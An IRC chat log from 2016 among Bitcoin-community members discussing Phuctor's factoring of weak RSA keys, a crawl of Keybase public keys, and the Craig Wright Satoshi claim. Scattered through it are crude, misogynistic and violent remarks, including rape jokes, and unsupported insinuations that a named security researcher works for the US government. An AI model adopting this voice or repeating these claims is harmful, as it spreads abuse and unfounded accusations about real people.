1463241;1462417696;ben_vulpes;mircea_popescu: once again for teh illiterate? 1463242;1462417703;ben_vulpes;"moles vs ants"? 1463243;1462417749;mircea_popescu;the complaints are poor decision process, lack of transparency etc. i wonder if the actual valuable contributors packed and left the various hanno bocks, bob becks and other undesirable politicos behind. 1463244;1462417953;mircea_popescu;but in other lulz, http://security.stackexchange.com/questions/13996/convert-rsa-public-key-to-the-right-format?rq=1 1463245;1462418029;ben_vulpes;a us bank is willing to touch customer keys? o.O 1463246;1462418218;mircea_popescu;private banks have been using keys for over a decade you know. 1463247;1462418248;asciilifeform;http://btcbase.org/log/2016-05-05#1463243 << quite unlikely. you can't just take a tumour off like a knapsack and get up and go... 1463248;1462418248;a111;Logged on 2016-05-05 03:09 mircea_popescu: the complaints are poor decision process, lack of transparency etc. i wonder if the actual valuable contributors packed and left the various hanno bocks, bob becks and other undesirable politicos behind. 1463249;1462418263;mircea_popescu;depends on the tumour. 1463250;1462418319;asciilifeform;http://btcbase.org/log/2016-05-05#1463233 << pet informs me that 'there is a lesswrong ~diaspora~, self-identified, in a buncha places, even tumblr' 1463251;1462418319;a111;Logged on 2016-05-05 02:57 mircea_popescu: e previous point, he's got a rationalist amulet to protect him from things!), but also i notice - that lesswrong thing is essentially dead, isn't it ? one wiki edit (his), "0 points" throughout whatever that may mean, recent posts nobody cares about, latest diary from February, 5-th most recent blog from last month etc etc. i thought there were many idiots in this thing, turns out it's just a handful of derps that meanwhile f 1463252;1462418341;mircea_popescu;but what happened to their home island of caspiar ? it fucking sunk ? 1463253;1462418352;asciilifeform;something let the air out of the thing, and the denizens dispersed to the four winds 1463254;1462418358;mircea_popescu;weird. 1463255;1462418402;mircea_popescu;all analysis seems to point to the whole substance of that thing being based on a very tooth-and-nail neoprotestant stubbornness of collective action. 1463256;1462418411;mircea_popescu;i suppose eventually they couldn't stand each other anymore or somesuch 1463257;1462422471;BingoBoingo;;;bc,stats 1463258;1462422476;gribble;Current Blocks: 410296 | Current Difficulty: 1.7865925777252728E11 | Next Difficulty At Block: 411263 | Next Difficulty In: 967 blocks | Next Difficulty In About: 6 days, 7 hours, 41 minutes, and 10 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1463259;1462426585;deedbot;[Recent Phuctorings.] Phuctored: 3600611471329672289855022328627 divides RSA Moduli belonging to 'Marcus Benjamin ; Marcus Benjamin ; ' - http://phuctor.nosuchlabs.com/gpgkey/3F884718CC1F7BBD6425044BB98EB5128654EC09BB8F8D8FFE2F4EFA26F4CC53 1463260;1462426731;hanbot;http://btcbase.org/log/2016-05-05#1463256 << >> http://btcbase.org/log/2016-05-05#1463243 1463261;1462426731;a111;Logged on 2016-05-05 03:09 mircea_popescu: the complaints are poor decision process, lack of transparency etc. i wonder if the actual valuable contributors packed and left the various hanno bocks, bob becks and other undesirable politicos behind. 1463262;1462426731;a111;Logged on 2016-05-05 03:20 mircea_popescu: i suppose eventually they couldn't stand each other anymore or somesuch 1463263;1462426744;hanbot;group projects, in most people's hands, need no further reasons to fail 1463264;1462451499;mircea_popescu;that's a point huh. 1463265;1462452415;asciilifeform;soooooo 1463266;1462452427;asciilifeform;i go and engage with the motherfucking heathens, 1463267;1462452428;asciilifeform;http://seclists.org/oss-sec/2016/q2/241 1463268;1462452436;asciilifeform;and 'the pig enjoyed it' 1463269;1462452439;asciilifeform;as always. 1463270;1462452637;mircea_popescu;doh. did i not tell you ? 1463271;1462452641;asciilifeform;surely. 1463272;1462452642;mircea_popescu;why do you listen so poorly ! 1463273;1462452649;asciilifeform;the pig was there! 1463274;1462452657;mircea_popescu;lol. 1463275;1462452684;mircea_popescu;you know, you can be trained to do this right ; you're intelligent enough. but it's a slog, and it's also a lot like learning to play an instrument. 1463276;1462452704;asciilifeform;the sheer stench of 'official science' in boeck's answer! 1463277;1462452706;mircea_popescu;the best policy is to fucking decide if you're gonna or not gonna ; and then do or not do. doing sorta halfway is painful. even to watch. 1463278;1462452731;asciilifeform;well the trick is that it's a heavily censored official organ 1463279;1462452758;mircea_popescu;how's this a trick. 1463280;1462452770;asciilifeform;well, full-bore mircea_popescu prolly would not pass the mod 1463281;1462452783;mircea_popescu;meanwhile, check out what ancient lulz i found on pete's blog http://btcbase.org/log/?date=24-07-2014#766538 1463282;1462452864;mircea_popescu;asciilifeform that's nonsense. mircea_popescu is a matter of substance, not form. what oyu call full bore is merely an aggregate of stylistic choices i prefer [and i prefer them enough to put above the needs of others, because i simply don't care enough about unknown others], but otherwise it has an infinity of formal homomorphisms, and necessarily an infinity of those could match any arbitrary formal test. 1463283;1462452910;asciilifeform;mircea_popescu: then consider applying your methods..? 1463284;1462452917;asciilifeform;that particular list is quite popular among thinking folk. 1463285;1462452927;mircea_popescu;the only problem is that even if you put the effort into bowdlerization, you will not obtain a result better than i do ; because the "formal test" is actually devoid of substance. 1463286;1462452931;asciilifeform;some of whom prolly ought to be here. 1463287;1462452943;mircea_popescu;no, it is not. it is popular among a certain brand of castrato. i don't appreciate castrato opera. 1463288;1462452954;asciilifeform;there are the castratos. 1463289;1462452955;mircea_popescu;and i would estimate absolutely none of the people there should be here. 1463290;1462452967;asciilifeform;not the folks posting! 1463291;1462452969;asciilifeform;the ~readers~ 1463292;1462452973;mircea_popescu;asciilifeform you perhaps still entertain this delusional hope that man is what he wishes to be / sees self as. 1463293;1462452979;mircea_popescu;man is what man does, no more. 1463294;1462452982;asciilifeform;not really, no. 1463295;1462452988;asciilifeform;man - is long pig. 1463296;1462452991;mircea_popescu;ah, the readers. why do they read there ? they could read here. 1463297;1462453002;asciilifeform;aha! 1463298;1462453006;asciilifeform;so show'em this. 1463299;1462453009;mircea_popescu;their choice, let them make it. 1463300;1462453009;mircea_popescu;nope. 1463301;1462453030;asciilifeform;skin not worth the tanning? 1463302;1462453036;mircea_popescu;what's next ? i'm going to show online sub why i should be her master ? am i under the influence of brain parasitosis ? 1463303;1462453047;mircea_popescu;the principle of the thing! you don't fucking top me from the bottom ffs! 1463304;1462453059;mircea_popescu;here : http://qntra.net/2016/05/phuctor-factors-united-states-disa-key/#comment-56733 1463305;1462453119;asciilifeform;i'm still at a loss how to properly separate this concept from full-bore solipsism. 1463306;1462453131;mircea_popescu;asciilifeform let us study this problem together, working on the basis of a 419/russian bride scam. 1463307;1462453136;mircea_popescu;you know what that is ? 1463308;1462453141;asciilifeform;approximately 1463309;1462453145;mircea_popescu;so let's delve. 1463310;1462453205;mircea_popescu;the 419 scam is a particular arbitrage of the knowledge problem. the way it works is that money in modern society consists of a substance and a form. its substance is hinted at by the "aml/kyc" bs, which is a whole other pile of lulz we won't be getting into here. you prefer to refer to it as "X couldn't own rembrandts" internally. 1463311;1462453235;mircea_popescu;the form of money is obvious, in the sense of the taste of food being obvious. it produces expected reactions in the senses. 1463312;1462453266;mircea_popescu;the way the scam works is that the settlement of substance.money does not in fact coincide with the settlement of form.money. this because there's an absolute thermodynamic taboo against coincidence. 1463313;1462453280;mircea_popescu;not all these dts are exploitable in practice ; but all are exploitable in principle. 1463314;1462453330;mircea_popescu;so S sends C you a check ; thereby transferring to you the form of some money ; but not their substance. C proceeds to send S a wire, thereby transferring the form and the substance ; C is out some money. 1463315;1462453370;mircea_popescu;it has a myriad forms, such as for instance http://btcbase.org/log/2016-05-04#1462441 1463316;1462453370;a111;Logged on 2016-05-04 12:56 mircea_popescu: and in other lulz, http://dpaste.com/2Y0VAST 1463317;1462453381;asciilifeform;the thermodynamic 'taboo against the coincidence' is described in, oddly enough, winnie pooh! '"Well," said Pooh, "what I like best," and then he had to stop and think. Because although Eating Honey was a very good thing to do, there was a moment just before you began to eat it which was better than when you were, but he didn't know what it was called.' 1463318;1462453388;mircea_popescu;but they all reduce to "more fluff to make it easier for C to swallow the faux identity painted over a difference" 1463319;1462453403;mircea_popescu;so it is. 1463320;1462453431;mircea_popescu;now then. the russian bride is a peculiar variant of this scam, where the value transferred is not pecuniary, and thus encounters "troubles". 1463321;1462453445;asciilifeform;aha, where the value has legs. 1463322;1462453449;mircea_popescu;aha. 1463323;1462453461;asciilifeform;(money also has legs but they are short and caterpillar-like and thus not perceptible to untrained eye) 1463324;1462453486;mircea_popescu;so then - C wants the hottie ; but the hottie has a blood price. so C pays. except the price is kidnapped on route, so C pays ransom, except hottie falls ill etc etc 1463325;1462453510;mircea_popescu;the sad fact here is that you personally fall for this scam ALL THE FUCKING TIME. 1463326;1462453518;asciilifeform;hm? 1463327;1462453533;mircea_popescu;for instance : the seclist has a hottie (you think, for absolutely no reason - have you seen her tits ? there are rules for being a hottie, you know ?) 1463328;1462453546;mircea_popescu;except there's a price! so you pay the price... except... it's ransomed en route... so you... etc 1463329;1462453551;mircea_popescu;it's ridiculous, stop doing this. 1463330;1462453558;asciilifeform;l0l this begins to make sense. 1463331;1462453562;mircea_popescu;aha. 1463332;1462453581;asciilifeform;i also used to dig in junkyards tho. 1463333;1462453592;mircea_popescu;now, there is nothing wrong with this if engaged in for sport 1463334;1462453598;mircea_popescu;for lulz, for the evulz, for whatever the fuck. 1463335;1462453605;asciilifeform;but it was considerably more rewarding than digging the bocks. 1463336;1462453624;mircea_popescu;but there's something wrong when the brain parasite takes over the brain, and you start pursuing nonsense at the expense of your wealth, your health, your sanity and eventually your life. 1463337;1462453919;asciilifeform;i end up in the pigsties (bock, reddit, etc.) when i begin to think that the alternative is really a solipsism. 1463338;1462453934;mircea_popescu;and as to the bear and his honey, the moment before is called the endorphin shock. 1463339;1462453939;asciilifeform;because it isn't as if i have hitler's actual skull on my desk, as stalin did 1463340;1462453959;mircea_popescu;asciilifeform your strategy may not be driven by your perceived decision space. 1463341;1462453962;mircea_popescu;enemy can fuck with that. 1463342;1462453966;asciilifeform;how do i actually ~know~ that any of what we do makes a difference outside the skull ? 1463343;1462453988;mircea_popescu;how do you know the moon isn't actually made of petrified ejaculate ? 1463344;1462453990;asciilifeform;i am not seeing the victories. 1463345;1462454007;asciilifeform;the moon does not default to spoodge in my head. 1463346;1462454017;mircea_popescu;again : the problem of reacting instead of acting is that you'll necessarily be a muppet. 1463347;1462454026;asciilifeform;whereas my actual situation does default to defeat and misery, because that is the actual physical space i live in. 1463348;1462454045;mircea_popescu;now THIS is entirely within the skull. 1463349;1462454066;asciilifeform;not quite. 1463350;1462454069;asciilifeform;speaking of which! 1463351;1462454073;*;asciilifeform bbl, sitting on the stake 1463352;1462454093;mircea_popescu;it has been the observation throughout the ages that intelligent people are only happy as slaves ; which is how that whole "behind great man - great woman" thing got started ; or why samuel clemens had to get his daily spankings in wife's bedroom. 1463353;1462454094;shinohai;http://btcbase.org/log/2016-05-05#1463343 <<< I'll apply for a grant and research this. 1463354;1462454094;a111;Logged on 2016-05-05 13:13 mircea_popescu: how do you know the moon isn't actually made of petrified ejaculate ? 1463355;1462454121;mircea_popescu;pity nasa got its funding cut. 1463356;1462454226;shinohai;"Dear Elon Musk, please fund an expedition to settle once and for all the argument of whether or not the moon is made of cheese of petrified ejaculate from space giants." 1463357;1462454236;shinohai;*or 1463358;1462454287;mircea_popescu;and speaking of neurotransmitters : the most reliable sign of opioid intoxication is decreased respiratory rate. a rate less than 12 where intoxication is a possibility (ie, not outright impossible) practically guarantees it's the case. 1463359;1462456683;phf;a lot of keybase keys are "Keybase OpenPGP v2.0.47", "Keybase Go 1.0.11 (darwin)" and even some "Keybase OpenPGP JS 0.0.1" 1463360;1462456936;mircea_popescu;heh 1463361;1462456949;mircea_popescu;now THOSE people should probably be notified. 1463362;1462457349;phf;so i got 38479 users, i'm going to download their keys, and then perhaps rerun the crawler to see if anyone else comes up 1463363;1462457509;mircea_popescu;works. 1463364;1462459997;mircea_popescu;and in other breakfast news, http://66.media.tumblr.com/4d5bc82003e288789f8462ad0e9802eb/tumblr_nrhax9qEx81sl4iuvo1_1280.jpg 1463365;1462460466;punkman;gonna work on the gwern archives later, feel free to suggest any interesting things too look for while I'm searching for gpg keys/messages 1463366;1462460594;asciilifeform;http://btcbase.org/log/2016-05-05#1463352 << ahahaha the traditional 'i am mircea_popescu, a demigod, and all ~you~ lusers oughta be in cock cages, puny mortals' 1463367;1462460594;a111;Logged on 2016-05-05 13:14 mircea_popescu: it has been the observation throughout the ages that intelligent people are only happy as slaves ; which is how that whole "behind great man - great woman" thing got started ; or why samuel clemens had to get his daily spankings in wife's bedroom. 1463368;1462460660;mircea_popescu;asciilifeform it's not MY observation ; but the girl's. i personally neither agree nor approve. 1463369;1462460682;mircea_popescu;punkman pgp keys and key ratings, ie the wot, most valuable thing in there imo. 1463370;1462460693;mircea_popescu;i suppose you could also look for titpix, but... you know, who cares. 1463371;1462460698;punkman;what key ratings? 1463372;1462460708;mircea_popescu;they rate each other. 1463373;1462460722;asciilifeform;did they signed-rate each other ?? 1463374;1462460727;punkman;doubtful 1463375;1462460728;mircea_popescu;(no, not on a sane sort of system, but on random and mostly braindamaged implementations. nevertheless.) 1463376;1462460729;asciilifeform;or the other, useless kind of rate. 1463377;1462460743;asciilifeform;one survives; the other - is writing on the beach sand. 1463378;1462460745;punkman;also a lot of keys only went through private messages, so I dunno how many I'll even find 1463379;1462460747;asciilifeform;protocol/promise. 1463380;1462460766;mircea_popescu;punkman well, chiefly why you're looking, to find out how many. 1463381;1462460811;mircea_popescu;there's this loose group of fucktards who keep spewing nonsense a la "cryptoanarchists===us dope fiends set the foundations for bitcoin" and "silk road mattered economically" and so on and so forth. 1463382;1462460819;punkman;btc/altcoin addresses might also be interesting but a bit more intensive to mine 1463383;1462460823;mircea_popescu;some [more] hard data to go with all the rest of the hard data making fools of them can't hurt. 1463384;1462460851;mircea_popescu;punkman odds are you'll end up with the various mtgoxen wallet list 1463385;1462460870;asciilifeform;i have a picture - by no means an expert one - of how these folks saw themselves - 1463386;1462460881;asciilifeform;sorta like partizans prior to red army showing up and reconnecting. 1463387;1462460892;punkman;https://groups.google.com/forum/#!forum/alt.privacy.anon-server tard examples 1463388;1462460897;punkman;that I was browsing earlier 1463389;1462460899;asciilifeform;'yes, hopelessly outnumbered and unskilled, but all around us is hitler' 1463390;1462460901;mircea_popescu;asciilifeform is it more or less summarized by pirateat40 harping in chan about how he's going to move the exchange rate and then getting his ass handed to him, publicly, in real time ? 1463391;1462460915;asciilifeform;nah that's just sc4mz0r sop 1463392;1462460921;asciilifeform;i'm speaking of the genuinely deluded 1463393;1462460928;danielpbarron;we don't "signed-rate" eachother either.. 1463394;1462460931;mircea_popescu;the difference between pothead and "scammer" as this works in english is slight. 1463395;1462460936;asciilifeform;danielpbarron: we do, since assbot 1463396;1462460947;mircea_popescu;danielpbarron what we do reduces to that, yes. 1463397;1462460962;danielpbarron;but not in a way that outsiders can verify 1463398;1462460970;mircea_popescu;quite so. 1463399;1462461059;asciilifeform;http://seclists.org/oss-sec/2016/q2/255 << lulz, i sat on my arse and somebody did the filter wurk for me. 1463400;1462461076;mircea_popescu;in fact, the difference between pothead and esl-scammer is about of the size and substance of the difference between "poor woman" and "whore" in 1700. o, really , you're a good girl ? 1463401;1462461081;asciilifeform;(bock claimed to have used sks dump, but his set diverges considerably) 1463402;1462461091;mircea_popescu;asciilifeform as pointed out here yest :p 1463403;1462461105;asciilifeform;well no, it wasn't straight from dev/random 1463404;1462461114;mircea_popescu;oh i see. 1463405;1462461115;asciilifeform;it coincided with our set about 80% 1463406;1462461127;asciilifeform;almost like he used, e.g., ft meade's collection 1463407;1462461136;mircea_popescu;i'm going to be sarcastic now. 1463408;1462461304;mircea_popescu;but sure, watching the derp implode is decent comedy. "oh lines match" "well you have 273 lines here and 259 lines there" "oh this is the list" "except here's 11 you don't have". etc etc. 1463409;1462461316;mircea_popescu;the principal property of the usg.misc is that it collapses under own weight, so. 1463410;1462461331;mircea_popescu;"stay out of collapse path" is pretty much equal victory. 1463411;1462461343;asciilifeform;gold: 1463412;1462461344;asciilifeform;'Now to the 10 keys that have valid selfsigs. Two are for 1463413;1462461344;asciilifeform;alice () example com (and honestly it may be that these one comes from me, 1463414;1462461344;asciilifeform;but I don't remember exactly. I created broken test keys, but I don't 1463415;1462461344;asciilifeform;know if I uploaded any. At least the date roughly matches when I worked 1463416;1462461346;asciilifeform;on this).' 1463417;1462461349;asciilifeform;-- bock 1463418;1462461389;mircea_popescu;plox s/\n/ / if oyu're gonna do email formatted pastes. 1463419;1462461403;asciilifeform;ah yea 1463420;1462461471;asciilifeform;https://github.com/hannob/pgpecosystem << where was this last may ? 1463421;1462461482;mircea_popescu;"we weren't affraid enough yet" 1463422;1462461534;BingoBoingo; here : http://qntra.net/2016/05/phuctor-factors-united-states-disa-key/#comment-56733 << Amazing how people at some point stopped following and reading links for context. 1463423;1462461535;asciilifeform;i'm just lulzing over the - apparently backdated???! - shithub 1463424;1462461560;mircea_popescu;BingoBoingo eh they just wanna whine for attention. 1463425;1462461676;mircea_popescu;anyway, is it a mere coincidence that some derp posing as a "free journalist" in berlin is the usg point man for the rsa diddling efforts ? 1463426;1462461684;mircea_popescu;seeing how most of the affected users happen to be in germany ? 1463427;1462461776;asciilifeform;waitasec 1463428;1462461782;asciilifeform;i thought bock was posing as a comp sci prof 1463429;1462461789;asciilifeform;and se333333k0000rit1 researcher 1463430;1462461808;mircea_popescu;no. he's an unemployed (and now unemployable) copywriter. 1463431;1462461833;asciilifeform;lel somehow i suspect that he is quite employed. 1463432;1462461840;asciilifeform;just not in the usual honest-wurk sense. 1463433;1462461847;mircea_popescu;and unfrequentable types are quite frequented. what's that do ? 1463434;1462461860;mircea_popescu;they're still unfrequentable. 1463435;1462461867;asciilifeform;what's an unfrequented-type ? 1463436;1462461879;mircea_popescu;hermits, really. 1463437;1462461896;mircea_popescu;you know, sourdough miners, naggum, redditards, that sorta thing 1463438;1462461896;asciilifeform;ah, folks like asciilifeform . 1463439;1462461916;mircea_popescu;awww. all the effort i put into being polite! gone in an instant! 1463440;1462461926;asciilifeform;lelz! 1463441;1462461939;mircea_popescu;but the point remains, there's a difference between unemployable and unemployed. 1463442;1462461960;asciilifeform;i'm also lulzing re how nobody seems to know about the old pgp standard where fp was bottom n bits of the mod 1463443;1462461965;asciilifeform;until i rubbed their snouts into it 1463444;1462461985;asciilifeform;and even now it is somehow 'irrelevant' 1463445;1462461991;mircea_popescu;expertise means something very different from itself, these days. 1463446;1462462005;mircea_popescu;rather mirroring the difference between understanding and mere recognition. 1463447;1462462019;mircea_popescu;at some point in the 70s the latter became the schoolhouse standard for knowledge, 1463448;1462462031;mircea_popescu;and in short order... cows are expert farmers. because they recognize a farmhouse. 1463449;1462462067;mircea_popescu;in other internet rot news : apparently google knows of no definition for the english world "unfrequentable" 1463450;1462462071;mircea_popescu;this takes the fucking cake already. 1463451;1462462120;asciilifeform;l0l!! 1463452;1462462123;asciilifeform;srsly?! 1463453;1462462127;mircea_popescu;look for self. 1463454;1462462169;asciilifeform;in other nyoooz, approaching the 2millionth modulus. 1463455;1462462174;mircea_popescu;sweet. 1463456;1462462179;asciilifeform;fuel tank has another 2-3 days in it. 1463457;1462462212;mircea_popescu;apparently there's going to be another 40kish or so from phf hopefully before then, which should bridge us over into next week, by which point hopefully either the ssh or the gwen archives start yielding 1463458;1462462221;mircea_popescu;such an unforeseen thirst, this. 1463459;1462462231;asciilifeform;well there is also the ~fresh~ sks. 1463460;1462462240;mircea_popescu;ah right. you got that ? 1463461;1462462251;asciilifeform;slicing it up, takes a while. 1463462;1462462257;mircea_popescu;cool. 1463463;1462462261;asciilifeform;prolly what i ought to do is have it suck in real time 1463464;1462462266;asciilifeform;i.e. host an sks mirror on dulap. 1463465;1462462278;mircea_popescu;yes, and the other additions re display keys. 1463466;1462462279;asciilifeform;but i really loathe the idea of propping up the old junkyard 1463467;1462462286;asciilifeform;yeah 1463468;1462462288;mircea_popescu;we'll end up the master sks in short order. 1463469;1462462300;asciilifeform;then we can start having our plugz pulled daily again, lel 1463470;1462462305;mircea_popescu;asciilifeform no, it's a good idea. will ease the move to proper key format as discussed yest at any rate. 1463471;1462462313;asciilifeform;ease how? 1463472;1462462319;asciilifeform;convert ancient keyz? 1463473;1462462322;mircea_popescu;sure. 1463474;1462462332;asciilifeform;haha like mormon church converts dead indians 1463475;1462462339;mircea_popescu;quite. 1463476;1462462340;asciilifeform;whynot 1463477;1462462424;mircea_popescu;what's the 8ball at yet ? 1463478;1462462430;phf;are the keys going to be in s-expressions? :) 1463479;1462462458;asciilifeform;mircea_popescu: still cooking the 50mil. 1463480;1462462459;mircea_popescu;phf http://btcbase.org/log/2016-05-05#1463187 suit you ? 1463481;1462462459;a111;Logged on 2016-05-05 01:04 mircea_popescu: right. so the new standard for a rsa key is (e, N, userstring), and everyone's expected to produce THAT. 1463482;1462462471;asciilifeform;mircea_popescu: this weekend i will hook up the real-time grower 1463483;1462462476;asciilifeform;as suggested earlier in logz 1463484;1462462482;mircea_popescu;cool. 1463485;1462462501;mircea_popescu;kinda funny how it STILL pops moduli, really. 1463486;1462462503;asciilifeform;it might be more interesting to drop in random ~large~ primes tho 1463487;1462462516;asciilifeform;mircea_popescu: anything ever showing up in the usual 8ball can only be a factor of a random turd 1463488;1462462520;asciilifeform;never a proper key 1463489;1462462531;mircea_popescu;$timesincelastphuctoring 1463490;1462462537;asciilifeform;^ 1463491;1462462539;mircea_popescu;~10 hours ftr 1463492;1462462540;asciilifeform;do want. 1463493;1462462555;phf;http://glyf.org/tmp/keybase.tar.xz 1463494;1462462561;asciilifeform;oh hey. 1463495;1462462565;mircea_popescu;ahaha win. 1463496;1462462565;phf;^ asciilifeform mircea_popescu 1463497;1462462574;mircea_popescu;thankee mr. 1463498;1462462678;phf;d280f38e56eb4b1a4f6477e18b110d8df3ae9a1545b49a05047f1deff2de94f6f011e2d005c8e1107c2ad11bbd5e589085c50e1305e1b5da832705dd29b515d0 keybase.tar.xz 1463499;1462462678;phf; 1463500;1462462745;asciilifeform;neato! 1463501;1462462752;asciilifeform;it will go in the hopper. 1463502;1462462762;mircea_popescu;these can just go in as is, sweet. 1463503;1462462776;*;mircea_popescu is curious if this new quality feed will result in a flood. 1463504;1462462786;mircea_popescu;deedbot getting 25k lines in before morn. 1463505;1462462803;asciilifeform;well they'll go in after the current batch is over. 1463506;1462462834;mircea_popescu;what's it currently eat, about 30k/day ? 1463507;1462462852;mircea_popescu;more towards 50 ? 1463508;1462462910;asciilifeform;about 100k. 1463509;1462462938;mircea_popescu;aha. nb. 1463510;1462462944;asciilifeform;could EASILY be parallelized 1463511;1462462950;asciilifeform;but i deliberately did not focus on this piece. 1463512;1462462951;mircea_popescu;yeah sokay. 1463513;1462462957;asciilifeform;why blow entire box of chocolates in one night. 1463514;1462463038;asciilifeform;phf: did you get these with a crawler? 1463515;1462463046;phf;yes 1463516;1462463046;asciilifeform;what % of the total do they represent, would you say ? 1463517;1462463078;mircea_popescu;over 99% 1463518;1462463082;asciilifeform;spiffy 1463519;1462463085;phf;well, from my vantage point that's close to 100 1463520;1462463102;mircea_popescu;the site is eminently crawleable, page contains a reference to people who interacted with a key AND a selection of random keys. 1463521;1462463105;asciilifeform;tbh i'll be quite surprised if any of them pop 1463522;1462463107;asciilifeform;but hell knows. 1463523;1462463174;mircea_popescu;asciilifeform the estimate from the little crawling i did (looking at convergence of deduped/duped sets) places it at about 40k. previous, extant intel from business perspective said "under 50k". so all items point the same way 1463524;1462463246;phf;i'll do a second crawl, with a slightly cleaned up script, i might've lost a handful at the beginning because of some bugs. it's possible that there's some subpockets i didn't discover. 1463525;1462463272;mircea_popescu;phf want my deduped user list to check that theory ? 1463526;1462463283;phf;sure 1463527;1462463319;mircea_popescu;http://dpaste.com/3VV8SZG 1463528;1462463350;shinohai;http://www.drcraigwright.net/homepage.jpg <<<< bwahahahaha! 1463529;1462463390;asciilifeform;l0lnoway 1463530;1462463411;mircea_popescu;aww. 1463531;1462463436;asciilifeform;this is shabbatai zev-grade l0ltr0n1cs. 1463532;1462463437;mircea_popescu;what the fuck further damage can be caused to matonis or andresen. gaping-asshole.jpg already anyway 1463533;1462463514;shinohai;inb4 "we did it reddit!" 1463534;1462463521;mircea_popescu;lmao i'm sure. 1463535;1462463553;mircea_popescu;shinohai feel free to post http://btcbase.org/log/2016-05-02#1460897 for their butthurt. 1463536;1462463553;a111;Logged on 2016-05-02 11:10 mircea_popescu: anyway. domain reg'd feb 16th, first post april 26th. teh boyz poured their sweat blood an' tears as the expression goes. too bad it won't work. 1463537;1462463625;shinohai;nb 1463538;1462463660;phf;asciilifeform: heads up, archive contains a bunch of users without keys, where the foo.asc files content is "SELF-SIGNED PUBLIC KEY NOT FOUND", presumably that's the ones that didn't upload (you'd think they would 404 instead) 1463539;1462463690;mircea_popescu;should be ok. 1463540;1462463702;phf;yeah, i won't reupload 1463541;1462463713;asciilifeform;sooo 1463542;1462463715;phf;just sanity checking the dump 1463543;1462463716;asciilifeform;i can't fucking resist 1463544;1462463728;asciilifeform;gonna throw it in the hopper NOW. 1463545;1462463728;mircea_popescu;quite the temptation bunny arentcha :D 1463546;1462463871;shinohai;https://www.reddit.com/r/KeybaseProofs/ <<< if signed objects are of any help re: keybase 1463547;1462463877;asciilifeform;3... 2... 1... 1463548;1462463884;asciilifeform;engines... 1463549;1462463912;asciilifeform;piss on the bus wheels... 1463550;1462464064;asciilifeform;firing. 1463551;1462464077;asciilifeform;immediately we learn that a good chunk was already in sks. 1463552;1462464094;asciilifeform;and about 1 in 10 is a uniturd, these will have to be dealt with. 1463553;1462464313;mircea_popescu;phf any in mine not in yours ? 1463554;1462464421;asciilifeform;mircea_popescu: they are being eaten. 1463555;1462464428;asciilifeform;and, i expect, all swallowed before sunday. 1463556;1462464457;asciilifeform;(being pumped in now, concurrently with the remnant of the old sks set) 1463557;1462464502;asciilifeform;kudos to phf for the harvest. 1463558;1462464690;trinque;shinohai │ http://www.drcraigwright.net/homepage.jpg <<<< bwahahahaha! << god damn, teh lulz 1463559;1462464731;asciilifeform;i deeply fail to grok this 1463560;1462464741;asciilifeform;why couldn't hitler have picked a plausible shitoshi ? 1463561;1462464748;asciilifeform;e.g., even bock, could play a better one 1463562;1462464753;asciilifeform;than some rando idiot 1463563;1462464816;asciilifeform;what, it is hard to find washed-up engineer ? 1463564;1462464835;trinque;hitler's fucking incompetent until proven otherwise 1463565;1462464849;asciilifeform;on what principle did they pick a diagnosable, clinical imbecile ?! 1463566;1462464859;trinque;self-selection? 1463567;1462465044;asciilifeform;the sheer... cheapness. of the attempt, is breathtaking. 1463568;1462465304;phf;mircea_popescu: two missing, one of them i recognize from early script bug 1463569;1462465307;shinohai;Thanks Obama! 1463570;1462465330;asciilifeform;mircea_popescu, phf : misc lulz - http://valerii-palych.blogspot.com/2016/05/blog-post.html 1463571;1462465449;asciilifeform;and other fella asks a notbad question - https://www.pgpru.com/forum/kriptografija/raspredeleniedlinykljuchejjrsapochemukruglyeznachenijaineopasnolieto 1463572;1462465463;asciilifeform;'why do we crowd keys in 'round number' bitlength neighbourhoods?' 1463573;1462465491;BingoBoingo; e.g., even bock, could play a better one << rando Aussie "wanted it" 1463574;1462465496;deedbot;[Qntra] Hoaxtoshi Breaks Promise - http://qntra.net/2016/05/hoaxtoshi-breaks-promise/ 1463575;1462465613;mircea_popescu;phf so then the odds of it being under 99.9% are < 10^-6 1463576;1462465651;mircea_popescu;asciilifeform> why couldn't hitler have picked a plausible shitoshi ? << was just discussing this with the gurlz. you gotta appreciate hitler is not a person ; hitler is the fucking google ai, practically. 1463577;1462465658;mircea_popescu;a bunch of fuctarded desk pilots 1463578;1462465730;mircea_popescu;the whole of their strategy consists of a) these people couldn't possibly prevail, for they're "mean" [synonyms go here] ; b) these people couldn't possibly have prevailed, because a, so it never happened ; c) go back to a. 1463579;1462465744;asciilifeform;so why did hastings have to get fragged 1463580;1462465748;mircea_popescu;they can't do anything ; nor can they learn from their mistakes. this is the price pretending exacts of one. 1463581;1462465754;asciilifeform;if 'he's a meanie and couldn't possibly prevail' (tm) 1463582;1462465757;mircea_popescu;he didn't HAVE TO. 1463583;1462465759;trinque;asciilifeform: that was personal with what's his face lurch at the CIA 1463584;1462465763;mircea_popescu;lol, WE are. 1463585;1462465772;mircea_popescu;you know, alf the rape advocate. 1463586;1462465785;trinque;hastings was going after him on some corruption thing, so he was nominally head of the CIA and probably involved in something else that can organize better :p 1463587;1462465792;asciilifeform;hey i consider rape far too humane for these folk. 1463588;1462465794;BingoBoingo;mircea_popescu: Nah, its USG. All those sportsball movies they watch with their future fatgendered kids are getting to their heads. The formula is it is never the most athletic player that gets the moment in the big game. Its the loser who "wants it" more. I blame Emilio Estevez. 1463589;1462465794;trinque;brennan 1463590;1462465842;mircea_popescu;BingoBoingo they have that, spostsball movies ? 1463591;1462465884;*;trinque is very curious about what *other* organizations exist which cut through the various usg entities 1463592;1462465889;mircea_popescu;but in other news, http://66.media.tumblr.com/c82f899650e6d91fa732e26d4f3050e6/tumblr_nt3dbuVpEU1uolvabo4_500.gif 1463593;1462465891;trinque;certainly scientology, and certainly that's not the only 1463594;1462465904;asciilifeform;trinque: famously, mexican 'zeta' 1463595;1462465905;BingoBoingo;mircea_popescu: Yeah. Mostly about fictional "kids" teams. Tis a disney invention. Gotta start the indoctrination early. 1463596;1462465907;mircea_popescu;trinque as BingoBoingo points out, "anyone who wants it bad enough" :D 1463597;1462465952;mircea_popescu;asciilifeform didnt the us alphabet soup consist of mostly russian agents by mass throughout the 40s, 50s, etc ? 1463598;1462465958;asciilifeform;BingoBoingo: didn't pedo brock actually star in one of these filmz ? 1463599;1462465970;asciilifeform;mircea_popescu: afaik u.s. state dept. strictly 1463600;1462465975;BingoBoingo;Seriously though, what actual coach even of a kids teams is so opposed to winning that the losing whiner gets to play the big moment. 1463601;1462465981;BingoBoingo;asciilifeform: AHA that was his genera 1463602;1462465985;mircea_popescu;i thought brock was altar boy, not 